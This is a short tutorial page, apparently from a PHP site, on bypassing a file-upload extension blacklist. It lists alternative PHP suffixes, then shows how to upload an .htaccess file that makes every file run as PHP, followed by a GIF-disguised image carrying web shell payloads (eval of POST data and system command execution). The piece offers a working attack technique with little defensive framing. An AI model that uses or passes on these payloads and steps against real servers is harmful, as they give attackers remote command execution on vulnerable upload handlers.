How to bypass blacklist when uploading files-PHP Tutorial-php.cn

How to bypass blacklist when uploading files

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Release： 2023-04-02 14:20:02

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This article mainly introduces the method of bypassing the blacklist by uploading files. It has certain reference value. Now I share it with you. Friends in need can refer to it.

This level mainly involves setting the upload suffix. , restricting suffixes such as asp, php, jsp, etc., and uploading is not allowed.

Position 1: This bypass method is to modify the suffix to .php3, php5, etc. Here is the blacklist verification ('.asp', '.aspx', '.php', '.jsp') , we can upload php3, php5... and other suffix names that can be parsed by the server

##Position 2: Rewrite the file parsing rules to bypass

1. Upload first. Upload a file named

.htaccess with the following content:

SetHandler application/x-httpd-php

##2. Upload 1.jpg script

Content:

GIF89a
<?php eval($_POST[&#39;joker&#39;]);?>
<%eval request("joker")%>
<?php system($_POST[&#39;cmd&#39;]);?>

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<span style="margin: 0px; padding: 0px; color: #ff00ff; line-height: 1.5 !important; font-family: "Courier New" !important; font-size: 12px !important"><br/>最后查看结果如下：<br/><img src="https://img.php.cn/upload/article/000/000/009/8c177c6b99f31ac79c542a12d4053de9-3.png" alt=""/><br/></span>

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